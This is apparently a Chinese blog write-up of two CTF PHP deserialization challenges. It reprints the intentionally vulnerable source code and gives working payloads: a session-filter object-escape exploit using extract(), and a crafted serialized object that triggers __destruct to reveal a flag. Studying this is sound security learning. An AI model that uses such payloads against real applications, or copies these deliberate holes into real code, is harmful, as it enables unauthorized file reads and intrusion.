• 关于序列化与反序列化解题


    1、[安洵杯 2019]easy_serialize_php

    1. $function = @$_GET['f'];
    2. function filter($img){
    3. $filter_arr = array('php','flag','php5','php4','fl1g');
    4. $filter = '/'.implode('|',$filter_arr).'/i';
    5. return preg_replace($filter,'',$img);
    6. }
    7. if($_SESSION){
    8. unset($_SESSION);
    9. }
    10. $_SESSION["user"] = 'guest';
    11. $_SESSION['function'] = $function;
    12. extract($_POST);
    13. if(!$function){
    14. echo 'source_code';
    15. }
    16. if(!$_GET['img_path']){
    17. $_SESSION['img'] = base64_encode('guest_img.png');
    18. }else{
    19. $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    20. }
    21. $serialize_info = filter(serialize($_SESSION));
    22. if($function == 'highlight_file'){
    23. highlight_file('index.php');
    24. }else if($function == 'phpinfo'){
    25. eval('phpinfo();'); //maybe you can find something in here!
    26. }else if($function == 'show_image'){
    27. $userinfo = unserialize($serialize_info);
    28. echo file_get_contents(base64_decode($userinfo['img']));
    29. }

    implode函数的作用是:将$filter_arr这个数组合并为一个字符串,并以|分割开来;所以这个正则表达式是preg_replace(/php|flag|php5|php4|f1lg/i,'',$img);并用filter()函数过滤

    implode() 函数

    定义和用法

    implode() 函数返回一个由数组元素组合成的字符串。

    注释:implode() 函数接受两种参数顺序。但是由于历史原因,explode() 是不行的,您必须保证 separator 参数在 string 参数之前才行。

    注释:implode() 函数的 separator 参数是可选的。但是为了向后兼容,推荐您使用使用两个参数。

    注释:该函数是二进制安全的

    语法

    implode(separator,array)

    参数描述
    separator可选。规定数组元素之间放置的内容。默认是 ""(空字符串)。
    array必需。要组合为字符串的数组。

    unset() 函数

    unset() 函数用于销毁给定的变量。

    语法

    void unset ( mixed $var [, mixed $... ] )
    

    参数说明:

    • $var: 要销毁的变量。

    返回值

    没有返回值。

    继续分析代码,如果存在$_SESSION,就把它删除,然后为$_SESSION中的属性进行赋值。extract()函数会将你post传入的参数和值形成一个键值对:如:POST方法传入一个/?_SESSION[user]=flag,他会给你变为$_SESSION["user"]='flag',

    extract() 函数

    定义和用法

    extract() 函数从数组中将变量导入到当前的符号表。

    该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

    该函数返回成功设置的变量数目。

    语法

    extract(array,extract_rules,prefix)

    参数描述
    array必需。规定要使用的数组。
    extract_rules

    可选。extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。

    可能的值:

    • EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
    • EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
    • EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。
    • EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。
    • EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。
    • EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
    • EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
    • EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。
    prefix可选。如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。

    该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线。


    接下来用if语句判断是否给$function传参,如果没有则会返回index.php?f=highlight_file这个界面;如果给img_path不传参数,他会将guest_img.png进行base64编码后赋值给img这个键,如果传参数,会将你传的值进行base64编码后在进行sha1赋值给img,将session数组序列化后进行过滤。

    提示说可以在phpinfo() 中查看,尝试查看里面的内容。输入f=phpinfo,查找到一个可能有关的条件。

    这是一个反序列化题目,最后一句代码echo file_get_contents(base64_decode($userinfo['img']));中说要输出base64编码且反序列化后的对象,因此要考虑怎样将d0g3_f1ag.php放到里面输出。当f=show_image是可以读文件的,只要$userinfo['img']是相应的flag.php的base64加密

    首先,为了输出想要的数据,要在里面放入d0g3_f1ag.php

    又因为userinfo是由serialize_info反序列化得来的 所以想到这里应该将d0g3_f1ag.php进行base64编码得到:

    ZDBnM19mMWFnLnBocA==

    serialize_info又是由$_SESSION这个数组经过序列化编码,再进行过滤得来

    因此我们现在的目标就是如何让序列化后且过滤后的字符串img的值为ZDBnM19mMWFnLnBocA==,这里就需要用到源代码中的覆盖函数extract() 函数,参考一下其他wp:[安洵杯 2019]easy_serialize_php (对象逃逸)-CSDN博客

    这题过滤会把匹配到的变为空字符串,如果我们构造一个user=flag,过滤后变为空,现在就多出4个字符,因为";s:8:“function”;s:xx:“a为24个字符(两个x表示function长度为两位数),所以我们user要6个flag,
    且[function]=a”;s:8:“function”;s:5:“abcde”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}

    过滤前
    a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

    过滤后
    a:2:{s:7:"【";s:48:】";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
    下面的步骤和值替换一样

    构造payload:

    f=show_image

    _SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

    得到/d0g3_fllllllag,发现将其base64编码后也是20位,进行替换后得到flag

    f=show_image

    _SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

    2、[SWPUCTF 2021 新生赛]ez_unserialize

    查看源码后得到一个disallow,考虑扫描

    扫出来两个目录,尝试查看里面的内容。

    只能打开robots.txt,在里面发现了一个新的php文件。

    1. error_reporting(0);
    2. show_source("cl45s.php");
    3. class wllm{
    4. public $admin;
    5. public $passwd;
    6. public function __construct(){
    7. $this->admin ="user";
    8. $this->passwd = "123456";
    9. }
    10. public function __destruct(){
    11. if($this->admin === "admin" && $this->passwd === "ctf"){
    12. include("flag.php");
    13. echo $flag;
    14. }else{
    15. echo $this->admin;
    16. echo $this->passwd;
    17. echo "Just a bit more!";
    18. }
    19. }
    20. }
    21. $p = $_GET['p'];
    22. unserialize($p);
    23. ?>

    目标是输出flag,因此一定要触发_destruct()函数,这个是析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法。(实例化对象结束后会被销毁,也会触发析构函数),我认为它的执行条件相当于要先有实例化,也就是执行_construct()。$this->admin === "admin" && $this->passwd === "ctf"是输出的条件,尝试构造pop链

    得到payload:O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

    题目中说反序列化的对象是p,所以传入参数值为p。

    得到flag

  • 相关阅读:
    B2B企业如何打造独立站:从策略到实施的全面指南
    删除GitLab中的仓库
    京东内网遭开源的“顶级”SpringCloud实战手册,GitHub列为首推
    【题目推荐2】
    被问到: http 协议和 https 协议的区别怎么办?别慌,这篇文章给你答案
    ensp——防火墙安全策略配置实验
    Android通知怎么实现?Android开发如何操作相机和相册?
    203、RabbitMQ 之 使用 direct 类型的 Exchange 实现 消息路由 (RoutingKey)
    Java开发学习(三)----Bean基础配置及其作用范围
    工业电子台账最简单的例子:设置模板后一键导入数据
  • 原文地址:https://blog.csdn.net/2302_79119987/article/details/139396439